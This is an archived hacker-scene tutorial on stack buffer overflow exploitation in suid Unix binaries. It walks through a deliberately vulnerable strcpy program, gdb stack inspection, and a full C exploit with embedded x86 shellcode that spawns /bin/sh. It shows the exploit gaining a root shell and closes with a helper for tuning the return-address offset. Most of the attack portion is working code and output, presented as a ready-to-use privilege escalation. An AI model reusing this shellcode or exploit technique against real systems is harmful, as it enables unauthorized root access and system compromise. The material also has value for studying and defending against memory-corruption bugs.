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TUCoPS :: Unix :: General :: overflos.txt

An Introduction to Executing Arbitrary Code Via Stack Overflows




An Introduction to executing arbituary code via stack overflows
---------------------------------------------------------------

Before we delve into the technical details here's a little background.  

Suid/sgid binaries
------------------

one of the problems with multiuser operating systems is that you will 
eventually need to allow users to perform functions which require root 
privledges -- be it changing a password, gecos field information, or 
accessing restricted devices.  Rather than give the user complete control 
over the system by giving them root privledges you can make a program 
that will do what the user wants as root and thus they cannot do anything 
that my comprimise system security.  You do this with a suid/sgid binary:

-rwsr-xr-x   1 root     root        44705 Jul  1 00:49 /usr/bin/passwd

when the user (whoever he/she may be) executes /usr/bin/passwd the user's 
uid/gid is changed to root and the binary is executed.  After completing 
execution the user's uid/gid is changed back to what it was.  

Unfortunately people who write suid/sgid bins have to be very careful to 
not execute anything that the user may comprimise security with.  One of 
the things that suid/sgid writers have to be careful of is copying data 
into buffers without a limit on the number of characters that may be 
copied.  This is where we come in.  By copying more data than the buffer 
can contain we can overwrite important parts of the stack and execute 
arbituary code.


Overflow sploits
----------------

ok.. what is an overflow sploit?  well.. lets have a look at some code:

        void main(int argc, char **argv, char **envp) { 
        char s[1024];
          strcpy(s,getenv("TERM"));
        }

this is a really common peice of code.. and many a sploit is based around 
just this kind of oversight.  So exactly what is wrong with this and how 
can we exploit it?  ok.. lets have a look, suppose this file is called 
"simple".

$ export TERM="01234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
123456789"
$ ./simple
Segmentation fault

In case you missed that first bit.. we're setting the variable TERM to 
over 1024 characters.  We then execute simple and it gives us a 
segmentation fault.  Why?  Well, to understand that we need to know 
exactly what is happening.  Do the following:

$ cat simple.c
#include <simple.h>
#include <stdlib.h>
void main(int argc,char **argv,char **envp) {
char s[1024];
  strcpy(s,getenv("TERM"));
}
$ gcc simple.c -S
$ cat simple.s
        .file   "simple.c"
        .version        "01.01"
gcc2_compiled.:
.section        .rodata
.LC0:
        .string "TERM"
.text
        .align 16
.globl main
        .type    main,@function
main:
        pushl %ebp
        movl %esp,%ebp
        subl $1024,%esp
        pushl $.LC0
        call getenv
        addl $4,%esp
        movl %eax,%eax
        pushl %eax
        leal -1024(%ebp),%eax
        pushl %eax
        call strcpy
        addl $8,%esp
.L1:
        movl %ebp,%esp
        popl %ebp
        ret
.Lfe1:
        .size    main,.Lfe1-main
        .ident  "GCC: (GNU) 2.7.0"
$

ok.. so that's a bit and now we need to know something.  We need to know 
a little x86 asm.. That's a little beyond the scope of this article so 
you might want to check out a book or two..  Anyways.. here's the 
important bits of that output:

        pushl %ebp
        movl %esp,%ebp
        subl $1024,%esp
	..
	ret

The first two lines are called "setting up a stack frame" and is a 
standard part of code compiled by a c compiler.  The third line here is 
allocating space on the stack for the "s" variable in our c code back up 
there.  From this we can get an idea about what the stack looks like:

	+-------------+ -1024(%ebp)
	|  1024 bytes |                  (s variable)
	+-------------+     0(%ebp)
	|     ebp     |
	+-------------+     4(%ebp)
	|   ret addr  |
	+-------------+     8(%ebp)
	|     argc    |
	+-------------+    12(%ebp)
	|     argv    |
	+-------------+    16(%ebp)
	|     envp    |
	+-------------+

ok.. so what happens when we do a strlen of the environment variable TERM 
that is bigger than 1024 bytes?  We start copying to -1024(%ebp) and go
to -1023(%ebp) and so on and we SHOULD stop before 0(%ebp) but we dont, 
we keep going and copy over the value of ebp stored on the stack and the 
return address.  So what happens when we get to that ret down the 
bottom?  Well the value of the return address has been overwritten and 
destroyed so it ends up jumping into the middle of nowhere, that is, 
unless we make it jump to somewhere useful.

GDB - your new friend
---------------------

GDB or the GNU symbolic debugger.  Using this useful util we can actually 
look at what happens.  Our previous example:

$ export TERM="01234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234
56789012345678901234567890123456789012345678901234567890123456789012345678
90123456789012345678901234567890123456789012345678901234567890123456789012
34567890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789012345678901234567890123456789012345678901234567890
123456789"
$ gdb simple
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slackware-linux),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break main
Breakpoint 1 at 0x80004e9
(gdb) run
Starting program: simple

Breakpoint 1, 0x80004e9 in main ()
(gdb) disass
Dump of assembler code for function main:
0x80004e0 <main>:       pushl  %ebp
0x80004e1 <main+1>:     movl   %esp,%ebp
0x80004e3 <main+3>:     subl   $0x400,%esp
0x80004e9 <main+9>:     pushl  $0x8000548
0x80004ee <main+14>:    call   0x80003d8 <getenv>
0x80004f3 <main+19>:    addl   $0x4,%esp
0x80004f6 <main+22>:    movl   %eax,%eax
0x80004f8 <main+24>:    pushl  %eax
0x80004f9 <main+25>:    leal   0xfffffc00(%ebp),%eax
0x80004ff <main+31>:    pushl  %eax
0x8000500 <main+32>:    call   0x80003c8 <strcpy>
0x8000505 <main+37>:    addl   $0x8,%esp
0x8000508 <main+40>:    movl   %ebp,%esp
0x800050a <main+42>:    popl   %ebp
0x800050b <main+43>:    ret
0x800050c <main+44>:    nop
0x800050d <main+45>:    nop
0x800050e <main+46>:    nop
0x800050f <main+47>:    nop
End of assembler dump.
(gdb) break *0x800050b
Breakpoint 2 at 0x800050b
(gdb) cont
Continuing.

Breakpoint 2, 0x800050b in main ()
(gdb) stepi
0x37363534 in __fpu_control ()
(gdb) stepi

Program received signal SIGSEGV, Segmentation fault.
0x37363534 in __fpu_control ()
(gdb)

ok.. so we get a segmentation fault.. why? well cause there's no code at 
address 0x37363534.  lets have a look at the stack:

$ gdb simple
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slackware-linux),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) break main
Breakpoint 1 at 0x80004e9
(gdb) run
Starting program: simple

Breakpoint 1, 0x80004e9 in main ()
(gdb) info registers
eax            0x0      0
ecx            0xc      12
edx            0x0      0
ebx            0x0      0
esp            0xbffff800       0xbffff800
ebp            0xbffffc04       0xbffffc04
esi            0x50000000       1342177280
edi            0x50001df0       1342184944
eip            0x80004ee        0x80004ee
ps             0x382    898
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
(gdb) x/5xw 0xbffffc04
0xbffffc04 <__fpu_control+3087001064>:  0xbffff8e8      0x08000495      
0x00000001      0xbffffc18
0xbffffc14 <__fpu_control+3087001080>:  0xbffffc20
(gdb) 

the first value here (0xbffff8e8) is the value of ebp before it was 
pushed onto the stack.  The next value is the return address.  The 
0x00000001 is argc and 0xbffffc18 is argv and the 0xbffffc20 is envp.  So 
if we were to copy 1024 + 8 bytes we could overwrite the return address 
and make it jump back to our code (that we also copy there).  So lets 
skip to the chase.  If we set TERM to:  

  <lots of nops><some code to execute a shell><a return address>

when we get to the ret it'll return to the nops and continue down to the 
code which executes a shell.  The only problem we have now is what the 
return address should be.  The perfect return address would be 0xbffff804 
but it's rather unlikely that we would have that information when we 
write the sploit so we try to estimate it.  Here is the sploit for our 
"simple" example:


long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}

char *realegg =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";


/*char *realegg="\xeb\xfe\0";*/

char s[1034];
int i;
char *s1;

#define STACKFRAME (0xc00 - 0x818)

void main(int argc,char **argv,char **envp) {
  strcpy(s,"TERM=");
  s1 = s+5;
  while (s1<s+1028+5-strlen(realegg)) *(s1++)=0x90;
  while (*realegg) *(s1++)=*(realegg++);
  *((unsigned long *)s1)=get_esp()+16-1028-STACKFRAME;
  printf("%08X\n",*((long *)s1));
  s1+=4;
  *s1=0;
  putenv(s);
  system("bash");
}


The first thing we do is copy TERM= into a string.  We then pad out the s 
variable with nops and add the egg (the floating peice of code which 
executes a shell) to the end of the variable and then add the return 
address.  We then call putenv to set the variable and execute a shell.  
We execute a shell rather than just calling "simple" so that we can use 
gdb to debug it.  The "get_esp" routine gets the current value of esp 
(which may change from machine to machine).  Lets have a look:

$ ./sploit
BFFFF418
bash$ ./simple
bash$

nothing too amazing.. but have a look at this:

$ ls -l simple
-rwsr-xr-x   1 root     root         4032 Oct  2 18:46 simple*
$ ./sploit
BFFFF418
bash$ ./simple
bash# 

we have root.  This is why we do overflow sploits.  

The only really tricky part about coding overflow sploits is getting the 
STACK_FRAME define correct.  To aid us in this we use a little program 
called whatesp:

long getesp() {
__asm__("movl %esp,%eax");
}

void main() {
        printf("%08X\n",getesp()+4);
}

when you execute whatesp it prints out the value of esp before the stack 
frame is setup (before the pushl %ebp, movl %esp,%ebp).  So once you have 
your sploit ready to rock do:

$ ./sploit
BFFFF41C
bash$ ./whatesp
BFFFF818

the second value you see here BFFFF818 you will notice is the value used 
in STACK_FRAME up there (0x818).  If you want to gdb and see the sploit 
going:

$ ./sploit
BFFFF418
bash$ gdb whatesp
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.14 (i486-slackware-linux),
Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) run
Starting program: whatesp
BFFFF7FC

Program exited with code 011.
(gdb)

and replace the 0x818 value in the STACK_FRAME define with 0x7fc.  You 
can then actually watch the sploit execute.  

That's all yall
---------------

That concludes the overflow tutorial.  To those of you who saw the first 
version of this tutorial, I'm sorry the sploit didnt work.  That's what 
happens when you give it to someone to look over and someone steals it 
out of their homedir.

QuantumG















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